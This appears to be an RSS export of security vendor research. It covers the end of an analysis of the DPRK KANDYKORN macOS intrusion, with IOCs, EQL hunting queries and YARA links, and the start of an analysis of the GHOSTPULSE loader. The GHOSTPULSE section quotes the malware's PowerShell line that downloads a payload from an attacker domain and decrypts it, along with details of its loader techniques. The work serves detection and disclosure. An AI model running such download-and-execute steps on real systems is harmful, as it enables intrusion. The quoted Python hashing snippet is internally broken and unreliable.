<p>On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as <code>0x41C3372</code> which appears in the analyzed sample.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image39.png" alt="Handshake routine" /></p>
<p>Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image6.png" alt="Overview of communication protocol" /></p>
<h2>Network infrastructure</h2>
<p>During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.</p>
<p>As detailed in the Stage 1 section above, the link to the initial malware archive, <code>Cross-Platform Bridges.zip</code>, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (<code>https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2</code>), but this was removed shortly after the archive was downloaded.</p>
<p>Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.</p>
<ul>
<li><code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code></li>
<li><code>23.254.226[.]90</code></li>
</ul>
<h3>tp-globa[.]xyz</h3>
<p>The C2 domain <code>tp-globa[.]xyz</code> is used by <code>FinderTools</code> to download SUGARLOADER and is likely an attempt at <a href="https://en.wikipedia.org/wiki/Typosquatting">typosquatting</a> a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.</p>
<p><code>tp-globa[.]xyz</code>, as of this writing, resolves to an IP address (<code>192.119.64[.]43</code>) that has been observed distributing malware attributed to the DPRK’s Lazarus Group (<a href="https://twitter.com/TLP_R3D/status/1677617586349981696">1</a>, <a href="https://twitter.com/_reboot_xxxx/status/1679054436289880065">2</a>, <a href="https://twitter.com/KSeznec/status/1678319191110082560">3</a>).</p>
<h3>23.254.226[.]90</h3>
<p>23.254.226[.]90 is the C2 IP used for the <code>.sld</code> file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.</p>
<p>On October 14, 2023, <code>23.254.226[.]90</code> was used to register the subdomain, <code>pesnam.publicvm[.]com</code>. While we did not observe this domain in our intrusion, it is <a href="https://www.virustotal.com/gui/domain/publicvm.com/detection">documented</a> as hosting other malicious software.</p>
<h2>Campaign intersections</h2>
<p><code>tp-globa[.]xyz</code>, has a TLS certificate with a Subject CN of <code>bitscrunnch.linkpc[.]net</code>. The domain <code>bitscrunnch.linkpc[.]net</code> has been <a href="https://twitter.com/tiresearch1/status/1708141542261809360?s=20">attributed</a> to other Lazarus Group intrusions.</p>
<p>As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.</p>
<pre><code>…
Issuer: C = US, O = Let's Encrypt, CN = R3
Validity
Not Before: Sep 20 12:55:37 2023 GMT
Not After : Dec 19 12:55:36 2023 GMT
Subject: CN = bitscrunnch[.]linkpc[.]net
…
</code></pre>
<p>The <code>bitscrunnch.linkpc[.]net</code>’s TLS certificate is also used for <a href="https://www.virustotal.com/gui/search/entity%253Adomain%2520ssl_subject%253Abitscrunnch.linkpc.net/domains">other additional domains</a>, all of which are registered to the same IP address reported above in the <code>tp-globa[.]xyz</code> section above, <code>192.119.64[.]43</code>.</p>
<ul>
<li><code>jobintro.linkpc[.]net</code></li>
<li><code>jobdescription.linkpc[.]net</code></li>
<li><code>docsenddata.linkpc[.]net</code></li>
<li><code>docsendinfo.linkpc[.]net</code></li>
<li><code>datasend.linkpc[.]net</code></li>
<li><code>exodus.linkpc[.]net</code></li>
<li><code>bitscrunnch.run[.]place</code></li>
<li><code>coupang-networks[.]pics</code></li>
</ul>
<p>While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is <a href="https://www.virustotal.com/gui/domain/linkpc.net/community">well-documented</a> that this specific service is used by threat actors for C2. In our <a href="https://www.elastic.co/kr/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket">published research into RUSTBUCKET</a>, which is also attributed to the DPRK, we observed LinkPC being used for C2.</p>
<p>All registered domains, 48 as of this writing, for <code>192.119.64[.]43</code> are included in the observables bundle.</p>
<p>Finally, in late July 2023, there were reports on the Subreddits <a href="https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/">r/hacking</a>, <a href="https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/">r/Malware</a>, and <a href="https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/">r/pihole</a> with URLs that matched the structure of <code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name <code>testSpeed.py</code> detailed earlier in this research.</p>
<p>The domain reported on Reddit was <code>group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC</code> which follows the same structure as the REF7001 URL (<code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>):</p>
<ul>
<li>Two <code>//</code>’s after the TLD</li>
<li>5 subdirectories using an <code>//11-characters/10-characters/10-characters/</code> structure</li>
<li>The last 2 subdirectories were <code>/fP7savDX6c/bfC</code></li>
</ul>
<p>While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.</p>
<p>Those accounts were:</p>
<ul>
<li><code>https://github[.]com/Prtof</code></li>
<li><code>https://github[.]com/wokurks</code></li>
</ul>
<h2>Summary</h2>
<p>The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.</p>
<p>The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:</p>
<ul>
<li>Stage 0 (staging) - <code>Main.py</code> executes <code>Watcher.py</code> as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.</li>
<li>Stage 1 (generic droppers) - <code>testSpeed.py</code> and <code>FinderTools</code> are intermediate dropper Python scripts that download and execute SUGARLOADER.</li>
<li>Stage 2 (SUGARLOADER) - <code>.sld</code> and <code>.log</code> are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.</li>
<li>Stage 3 (HLOADER) - <code>HLOADER</code>/<code>Discord</code>(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.</li>
<li>Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:
<ul>
<li>Conduct encrypted command and control</li>
<li>Conduct system enumeration</li>
<li>Upload and execute additional payloads</li>
<li>Compress and exfil data</li>
<li>Kill processes</li>
<li>Run arbitrary system commands through an interactive pseudoterminal</li>
</ul>
</li>
</ul>
<p>Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.</p>
<h2>The Diamond Model</h2>
<p>Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image30.jpg" alt="REF7001 Diamond Model" /></p>
<h2>[Malware] and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/">Hijack Execution Flow</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/003/">Archive Collected Data: Archive via Custom Method</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1008/">Fallback Channels</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar">MacOS.Trojan.SUGARLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar">MacOS.Trojan.HLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar">MacOS.Trojan.KANDYKORN</a></li>
</ul>
<h2>Malware detection capabilities</h2>
<h3>Hunting queries</h3>
<p>The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.</p>
<p>The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:</p>
<pre><code>sequence by process.entity_id, file.path with maxspan=30s
  [file where event.action == &quot;modification&quot; and process.name : &quot;.*&quot; and 
   file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;)]
  [file where event.action == &quot;deletion&quot; and process.name : &quot;.*&quot; and 
   file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;)]
</code></pre>
<p>The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[network where event.type == &quot;start&quot; and process.name : &quot;.*&quot;]
[file where event.action != &quot;deletion&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;)]
</code></pre>
<p>The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:</p>
<pre><code>file where event.action == &quot;rename&quot; and file.name : &quot;.*&quot; and 
 file.path : &quot;/Applications/*/Contents/MacOS/*&quot; and 
 file.Ext.original.path : &quot;/Applications/*/Contents/MacOS/*&quot; and 
 not startswith~(file.Ext.original.path,Effective_process.executable)
</code></pre>
<p>The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.name : &quot;.*&quot; and process.args regex~ &quot;[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}&quot;]
[network where event.type == &quot;start&quot;]
</code></pre>
<p>The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:</p>
<pre><code>any where 
 (
  (event.category : &quot;file&quot; and event.action != &quot;deletion&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;) and 
   file.path : &quot;/Users/Shared/*&quot; and file.name : &quot;.*&quot; ) or 
  (event.category : &quot;process&quot; and event.action == &quot;exec&quot; and process.executable : &quot;/Users/Shared/*&quot; and 
   (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : &quot;.*&quot;)
 )
</code></pre>
<p>The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
 process.args : &quot;python*&quot; and process.args : (&quot;/Users/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/private/tmp/*&quot;) and process.args : &quot;http*&quot; and 
 process.args_count &amp;lt;= 3 and 
 not process.name : (&quot;curl&quot;, &quot;wget&quot;)]
[network where event.type == &quot;start&quot;]
</code></pre>
<p>The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of &quot;NSCreateObjectFileImageFromMemory-*&quot;:</p>
<pre><code>file where event.type != &quot;deletion&quot; and 
file.name : &quot;NSCreateObjectFileImageFromMemory-*&quot;
</code></pre>
<p>The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the &quot;NSCreateObjectFileImageFromMemory-*&quot; file or a load with no dylib name provided:</p>
<pre><code>any where ((event.action == &quot;load&quot; and not dll.path : &quot;?*&quot;) or 
  (event.action == &quot;load&quot; and dll.name : &quot;NSCreateObjectFileImageFromMemory*&quot;))
</code></pre>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar">MacOS.Trojan.SUGARLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar">MacOS.Trojan.HLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar">MacOS.Trojan.KANDYKORN</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref7001">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940</code></td>
<td>SHA-256</td>
<td>.log, .sld</td>
<td>SUGARLOADER</td>
</tr>
<tr>
<td><code>2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1</code></td>
<td>SHA-256</td>
<td>Discord (fake)</td>
<td>HLOADER</td>
</tr>
<tr>
<td><code>927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6</code></td>
<td>SHA-256</td>
<td></td>
<td>KANDYKORN</td>
</tr>
<tr>
<td><code>http://tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code></td>
<td>url</td>
<td></td>
<td>FinderTools C2 URL</td>
</tr>
<tr>
<td><code>tp-globa[.]xyz</code></td>
<td>domain-name</td>
<td></td>
<td>FinderTools C2 domain</td>
</tr>
<tr>
<td><code>192.119.64[.]43</code></td>
<td>ipv4-addr</td>
<td>tp-globa IP address</td>
<td>FinderTools C2 IP</td>
</tr>
<tr>
<td><code>23.254.226[.]90</code></td>
<td>ipv4-addr</td>
<td></td>
<td>SUGARLOADER C2 IP</td>
</tr>
<tr>
<td><code>D9F936CE628C3E5D9B3695694D1CDE79E470E938064D98FBF4EF980A5558D1C90C7E650C2362A21B914ABD173ABA5C0E5837C47B89F74C5B23A7294CC1CFD11B</code></td>
<td>64 byte key</td>
<td>RC4 key</td>
<td>SUGARLOADER, KANDYKORN</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/kr/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket">The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs</a></li>
<li><a href="https://x.com/tiresearch1/status/1708141542261809360">https://x.com/tiresearch1/status/1708141542261809360</a></li>
<li><a href="https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/">https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/</a></li>
<li><a href="https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/">Looks like a try to steel some data : r/Malware</a></li>
<li><a href="https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/">https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/</a></li>
<li><a href="https://objective-see.org/blog/blog_0x51.html">Lazarus Group Goes 'Fileless'</a></li>
<li><a href="https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f">Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui</a></li>
<li><a href="https://hackd.net/posts/macos-reflective-code-loading-analysis/">macOS reflective code loading analysis · hackd</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[GHOSTPULSE haunts victims using defense evasion bag o' tricks]]></title>
            <link>https://www.elastic.co/kr/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks</link>
            <guid>ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks</guid>
            <pubDate>Fri, 27 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious MSIX executables.]]></description>
            <content:encoded><![CDATA[<h2>Update</h2>
<p>In October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out <a href="https://www.elastic.co/kr/security-labs/tricks-and-treats">here</a>.</p>
<h2>Preamble</h2>
<p>Elastic Security Labs has observed a campaign to compromise users with signed <a href="https://learn.microsoft.com/en-us/windows/msix/overview">MSIX</a> application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.</p>
<p>MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With <a href="https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root">App Installer</a>, MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.</p>
<p>In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through <a href="https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates">compromised websites</a>, search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image5.png" alt="" /></p>
<p>From the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image10.jpg" alt="" /></p>
<h2>Malware Analysis</h2>
<p>The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.</p>
<h3>Stage 0</h3>
<p>We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from <code>manojsinghnegi[.]com/2.tar.gpg</code>.</p>
<p>Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:</p>
<ul>
<li><code>putin</code> - the passphrase for the GPG file</li>
<li><code>--batch</code> - execute GPG in non-interactive mode</li>
<li><code>--yes</code> - answer “yes” to any prompts</li>
<li><code>--passphrase-fd 0</code> - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin</li>
<li><code>--decrypt</code> - decrypt a file</li>
<li><code>--output</code> - what to save the decrypted file as</li>
</ul>
<pre><code># 1
$url = &quot;https://manojsinghnegi[.]com/2.tar.gpg&quot;
$outputPath = &quot;$env:APPDATA\$xxx.gpg&quot;
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg
</code></pre>
<p>The GPG utility is included in the malicious MSIX installer package.</p>
<p>The decrypted file is a tar archive containing an executable <code>VBoxSVC.exe</code> which is in reality a renamed signed <code>gup.exe</code> executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example <code>handoff.wav</code> and a mostly benign library <code>libcurl.dll</code> with one of its functions overwritten with malicious code. The PowerShell executes the binary <code>VBoxSVC.exe</code> that will side load from the current directory the malicious DLL <code>libcurl.dll</code>. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image11.png" alt="File metadata of VBoxSVC.bin" /></p>
<h3>Stage 1</h3>
<p>The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the <em>DllEntryPoint</em> phase.</p>
<p>The process is initiated by pinpointing the base address of the malicious DLL of <code>libcurl.dll</code>, achieved through parsing the <em>InLoadOrderModuleList</em> API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png" alt="Parsing the InLoadOrderModuleList structure" /></p>
<p>Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the <em>InLoadOrderModuleList</em> structure within the Process Environment Block (PEB).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png" alt="Stage 1 hashing algorithm" /></p>
<pre><code class="language-python"># Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&amp;0xFFFFFFFF
    return value 
</code></pre>
<p>Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:</p>
<pre><code class="language-c">struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};
</code></pre>
<p>It then proceeds with its operation by reading and parsing the file named <code>handoff.wav</code> from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image14.png" alt="Reading and decrypting the encrypted file" /></p>
<p>The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:</p>
<pre><code class="language-c">struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};
</code></pre>
<ul>
<li><strong>size_of_chunk</strong>: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.</li>
<li><strong>xor_key</strong>: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction</li>
<li><strong>size_of_encrypted_blob</strong>: Denotes the overall size of the encrypted blob, which is stored in chunks within the file</li>
<li><strong>first_chunk</strong>: Marks the start of the first chunk of data in memory</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image2.png" alt="" /></p>
<p>In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:</p>
<pre><code class="language-c">struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};
</code></pre>
<ul>
<li><strong>size_of_chunk</strong>: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.</li>
<li><strong>n_chunk</strong>: Marks the start of the chunk of data in memory</li>
</ul>
<p>The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key <em>xor_key</em>.</p>
<p>At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the <code>RtlDecompressBuffer</code> api.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image1.png" alt="Decompression using the RtlDecompressBuffer API" /></p>
<p>The malware proceeds by loading a specified library stored in its configuration, in this case, <code>mshtml.dll</code>, utilizing the <em>LoadLibraryW</em> function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.</p>
<p>This technique is known as “module stomping”. The following image shows the associated <em>VirtualProtect</em> API calls captured with <a href="https://www.elastic.co/kr/guide/en/security/current/install-endpoint.html">Elastic Defend</a> associated with the module stomping:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image4.png" alt="" /></p>
<h3>Stage 2</h3>
<p>Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism.
The following is the IAT structure of stage 2:</p>
<pre><code class="language-c">struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
